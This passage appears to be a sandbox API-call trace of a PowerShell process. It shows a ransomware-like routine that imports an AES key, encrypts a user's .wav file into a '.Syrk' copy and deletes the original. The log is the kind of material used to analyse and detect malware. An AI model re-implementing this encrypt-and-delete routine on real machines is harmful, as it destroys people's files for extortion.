(param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0234.290] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0234.290] SystemFunction041 (in: Memory=0x5c9ac44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ac44) returned 0x0 [0234.290] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0234.290] SystemFunction040 (in: Memory=0x5c9ac44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ac44) returned 0x0 [0234.290] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0234.290] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0234.290] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0234.291] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0234.291] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0234.291] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0234.291] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0234.291] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0234.291] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0234.291] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0234.291] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0234.291] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0234.291] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0234.291] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0234.291] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0234.292] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0234.292] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0234.292] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0234.292] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0234.292] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0234.292] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0234.292] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0234.292] EtwEventActivityIdControl () returned 0x0 [0234.292] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0234.292] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0234.292] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0234.292] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0234.294] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d3a8) returned 1 [0234.296] CryptImportKey (in: hProv=0x5c4d3a8, pbData=0x240157c*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c99820) returned 1 [0234.296] CryptContextAddRef (hProv=0x5c4d3a8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0234.296] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0234.296] EtwEventActivityIdControl () returned 0x0 [0234.296] EtwEventActivityIdControl () returned 0x0 [0234.296] EtwEventActivityIdControl () returned 0x0 [0234.302] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\M-QP9r3m\\5q7ybWyiM4zx.wav" (normalized: "c:\\users\\keecfmwgj\\music\\m-qp9r3m\\5q7ybwyim4zx.wav")) returned 0x20 [0234.303] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\M-QP9r3m\\5q7ybWyiM4zx.wav" (normalized: "c:\\users\\keecfmwgj\\music\\m-qp9r3m\\5q7ybwyim4zx.wav")) returned 0x20 [0234.303] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\M-QP9r3m\\5q7ybWyiM4zx.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0234.303] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\M-QP9r3m\\5q7ybWyiM4zx.wav", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\M-QP9r3m\\5q7ybWyiM4zx.wav", lpFilePart=0x0) returned 0x32 [0234.303] EtwEventActivityIdControl () returned 0x0 [0234.304] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0234.304] EtwEventActivityIdControl () returned 0x0 [0234.304] EtwEventActivityIdControl () returned 0x0 [0234.304] EtwEventActivityIdControl () returned 0x0 [0234.305] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\M-QP9r3m\\5q7ybWyiM4zx.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0234.305] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\M-QP9r3m\\5q7ybWyiM4zx.wav", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\M-QP9r3m\\5q7ybWyiM4zx.wav", lpFilePart=0x0) returned 0x32 [0234.305] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0234.305] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\M-QP9r3m\\5q7ybWyiM4zx.wav" (normalized: "c:\\users\\keecfmwgj\\music\\m-qp9r3m\\5q7ybwyim4zx.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0234.306] GetFileType (hFile=0x454) returned 0x1 [0234.306] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0234.306] GetFileType (hFile=0x454) returned 0x1 [0234.306] EtwEventActivityIdControl () returned 0x0 [0234.306] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0234.306] EtwEventActivityIdControl () returned 0x0 [0234.306] EtwEventActivityIdControl () returned 0x0 [0234.306] EtwEventActivityIdControl () returned 0x0 [0234.307] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\M-QP9r3m\\5q7ybWyiM4zx.wav.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x38 [0234.307] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\M-QP9r3m\\5q7ybWyiM4zx.wav.Syrk", nBufferLength=0x38, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\M-QP9r3m\\5q7ybWyiM4zx.wav.Syrk", lpFilePart=0x0) returned 0x37 [0234.307] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0234.308] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\M-QP9r3m\\5q7ybWyiM4zx.wav.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\m-qp9r3m\\5q7ybwyim4zx.wav.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x458 [0234.329] GetFileType (hFile=0x458) returned 0x1 [0234.329] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0234.329] GetFileType (hFile=0x458) returned 0x1 [0234.329] EtwEventActivityIdControl () returned 0x0 [0234.329] CryptGenRandom (in: hProv=0x5c4d3a8, dwLen=0x10, pbBuffer=0x2412684 | out: pbBuffer=0x2412684) returned 1 [0234.330] CryptContextAddRef (hProv=0x5c4d3a8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0234.330] CryptDuplicateKey (in: hKey=0x5c99820, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c99660) returned 1 [0234.330] CryptContextAddRef (hProv=0x5c4d3a8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0234.330] CryptSetKeyParam (hKey=0x5c99660, dwParam=0x4, pbData=0x24139b0*=0x1, dwFlags=0x0) returned 1 [0234.330] CryptSetKeyParam (hKey=0x5c99660, dwParam=0x1, pbData=0x241397c, dwFlags=0x0) returned 1 [0234.330] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0234.331] EtwEventActivityIdControl () returned 0x0 [0234.331] EtwEventActivityIdControl () returned 0x0 [0234.331] EtwEventActivityIdControl () returned 0x0 [0234.332] EtwEventActivityIdControl () returned 0x0 [0234.332] ReadFile (in: hFile=0x454, lpBuffer=0x24165f8, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x24165f8*, lpNumberOfBytesRead=0x5a2e7d8*=0x109c, lpOverlapped=0x0) returned 1 [0234.333] CryptEncrypt (in: hKey=0x5c99660, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x242a604*, pdwDataLen=0x5a2e7cc*=0x1090, dwBufLen=0x1090 | out: pbData=0x242a604*, pdwDataLen=0x5a2e7cc*=0x1090) returned 1 [0234.333] WriteFile (in: hFile=0x458, lpBuffer=0x2412760*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2412760*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0234.334] ReadFile (in: hFile=0x454, lpBuffer=0x24165f8, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x24165f8*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0234.334] CryptEncrypt (in: hKey=0x5c99660, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x242b6a0*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x242b6a0*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0234.334] CryptEncrypt (in: hKey=0x5c99660, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x242b6bc*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x242b6bc*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0234.334] WriteFile (in: hFile=0x458, lpBuffer=0x2412760*, nNumberOfBytesToWrite=0xb4, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x2412760*, lpNumberOfBytesWritten=0x5a2e7f8*=0xb4, lpOverlapped=0x0) returned 1 [0234.335] CloseHandle (hObject=0x458) returned 1 [0234.336] CloseHandle (hObject=0x454) returned 1 [0234.336] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0234.336] EtwEventActivityIdControl () returned 0x0 [0234.336] EtwEventActivityIdControl () returned 0x0 [0234.336] EtwEventActivityIdControl () returned 0x0 [0234.341] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\M-QP9r3m\\5q7ybWyiM4zx.wav" (normalized: "c:\\users\\keecfmwgj\\music\\m-qp9r3m\\5q7ybwyim4zx.wav")) returned 0x20 [0234.391] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\M-QP9r3m\\5q7ybWyiM4zx.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0234.391] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\M-QP9r3m\\5q7ybWyiM4zx.wav", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\M-QP9r3m\\5q7ybWyiM4zx.wav", lpFilePart=0x0) returned 0x32 [0234.391] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0234.391] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0234.391] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0234.391] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0234.391] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0234.392] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0234.392] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0234.392] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0234.392] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0234.392] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0234.392] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0234.392] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0234.392] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music" (normalized: "c:\\users\\keecfmwgj\\music")) returned 0x11 [0234.392] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music" (normalized: "c:\\users\\keecfmwgj\\music")) returned 0x11 [0234.392] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0234.392] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music", nBufferLength=0x19, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music", lpFilePart=0x0) returned 0x18 [0234.393] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\M-QP9r3m" (normalized: "c:\\users\\keecfmwgj\\music\\m-qp9r3m")) returned 0x10 [0234.393] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\M-QP9r3m" (normalized: "c:\\users\\keecfmwgj\\music\\m-qp9r3m")) returned 0x10 [0234.393] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\M-QP9r3m", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x22 [0234.393] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\M-QP9r3m", nBufferLength=0x22, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\M-QP9r3m", lpFilePart=0x0) returned 0x21 [0234.393] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\M-QP9r3m\\5q7ybWyiM4zx.wav" (normalized: "c:\\users\\keecfmwgj\\music\\m-qp9r3m\\5q7ybwyim4zx.wav")) returned 0x20 [0234.393] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\M-QP9r3m\\5q7ybWyiM4zx.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0234.393] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\M-QP9r3m\\5q7ybWyiM4zx.wav", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\M-QP9r3m\\5q7ybWyiM4zx.wav", lpFilePart=0x0) returned 0x32 [0234.395] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\M-QP9r3m\\5q7ybWyiM4zx.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0234.395] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\M-QP9r3m\\5q7ybWyiM4zx.wav", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\M-QP9r3m\\5q7ybWyiM4zx.wav", lpFilePart=0x0) returned 0x32 [0234.395] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0234.395] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\M-QP9r3m\\5q7ybWyiM4zx.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0234.395] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\M-QP9r3m\\5q7ybWyiM4zx.wav", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\M-QP9r3m\\5q7ybWyiM4zx.wav", lpFilePart=0x0) returned 0x32 [0234.396] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\M-QP9r3m\\5q7ybWyiM4zx.wav\\*" (normalized: "c:\\users\\keecfmwgj\\music\\m-qp9r3m\\5q7ybwyim4zx.wav\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0234.396] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0234.396] CoTaskMemAlloc (cb=0x404) returned 0x5c9b950 [0234.396] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c9b950, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0234.396] CoTaskMemFree (pv=0x5c9b950) [0234.397] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\M-QP9r3m\\5q7ybWyiM4zx.wav" (normalized: "c:\\users\\keecfmwgj\\music\\m-qp9r3m\\5q7ybwyim4zx.wav")) returned 0x20 [0234.397] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\M-QP9r3m\\5q7ybWyiM4zx.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0234.398] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\M-QP9r3m\\5q7ybWyiM4zx.wav", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\M-QP9r3m\\5q7ybWyiM4zx.wav", lpFilePart=0x0) returned 0x32 [0234.398] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0234.398] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\M-QP9r3m\\5q7ybWyiM4zx.wav" (normalized: "c:\\users\\keecfmwgj\\music\\m-qp9r3m\\5q7ybwyim4zx.wav"), fInfoLevelId=0x0, lpFileInformation=0x2437d88 | out: lpFileInformation=0x2437d88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7eb5700, ftCreationTime.dwHighDateTime=0x1d99996, ftLastAccessTime.dwLowDateTime=0x1569030, ftLastAccessTime.dwHighDateTime=0x1d99c2a, ftLastWriteTime.dwLowDateTime=0x1569030, ftLastWriteTime.dwHighDateTime=0x1d99c2a, nFileSizeHigh=0x0, nFileSizeLow=0x109c)) returned 1 [0234.398] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0234.398] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\M-QP9r3m\\5q7ybWyiM4zx.wav" (normalized: "c:\\users\\keecfmwgj\\music\\m-qp9r3m\\5q7ybwyim4zx.wav")) returned 1 [0234.399] EtwEventActivityIdControl () returned 0x0 [0234.399] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0234.400] EtwEventActivityIdControl () returned 0x0 [0234.400] EtwEventActivityIdControl () returned 0x0 [0234.400] EtwEventActivityIdControl () returned 0x0 [0234.406] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\M-QP9r3m\\5q7ybWyiM4zx.wav.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\m-qp9r3m\\5q7ybwyim4zx.wav.syrk")) returned 0x20 [0234.407] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\M-QP9r3m\\5q7ybWyiM4zx.wav.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\m-qp9r3m\\5q7ybwyim4zx.wav.syrk")) returned 0x20 [0234.407] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\M-QP9r3m\\5q7ybWyiM4zx.wav.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x38 [0234.407] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\M-QP9r3m\\5q7ybWyiM4zx.wav.Syrk", nBufferLength=0x38, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\M-QP9r3m\\5q7ybWyiM4zx.wav.Syrk", lpFilePart=0x0) returned 0x37 [0234.408] EtwEventActivityIdControl () returned 0x0 [0234.408] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0234.408] EtwEventActivityIdControl () returned 0x0 [0234.408] EtwEventActivityIdControl () returned 0x0 [0234.408] EtwEventActivityIdControl () returned 0x0 [0234.412] EtwEventActivityIdControl () returned 0x0 [0234.412] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0234.412] EtwEventActivityIdControl () returned 0x0 [0234.412] EtwEventActivityIdControl () returned 0x0 [0234.412] EtwEventActivityIdControl () returned 0x0 [0234.415] EtwEventActivityIdControl () returned 0x0 [0234.415] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0234.415] EtwEventActivityIdControl () returned 0x0 [0234.415] EtwEventActivityIdControl () returned 0x0 [0234.415] EtwEventActivityIdControl () returned 0x0 [0234.418] EtwEventActivityIdControl () returned 0x0 [0234.418] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0234.419] EtwEventActivityIdControl () returned 0x0 [0234.419] EtwEventActivityIdControl () returned 0x0 [0234.419] EtwEventActivityIdControl () returned 0x0 [0234.422] EtwEventActivityIdControl () returned 0x0 [0234.422] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0234.423] EtwEventActivityIdControl () returned 0x0 [0234.423] EtwEventActivityIdControl () returned 0x0 [0234.423] EtwEventActivityIdControl () returned 0x0 [0234.426] EtwEventActivityIdControl () returned 0x0 [0234.430] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0234.430] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\M-QP9r3m\\5q7ybWyiM4zx.wav.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\m-qp9r3m\\5q7ybwyim4zx.wav.syrk"), fInfoLevelId=0x0, lpFileInformation=0x2442768 | out: lpFileInformation=0x2442768*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x784f1e0, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x784f1e0, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x789b4a0, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x10b4)) returned 1 [0234.430] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0234.431] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, 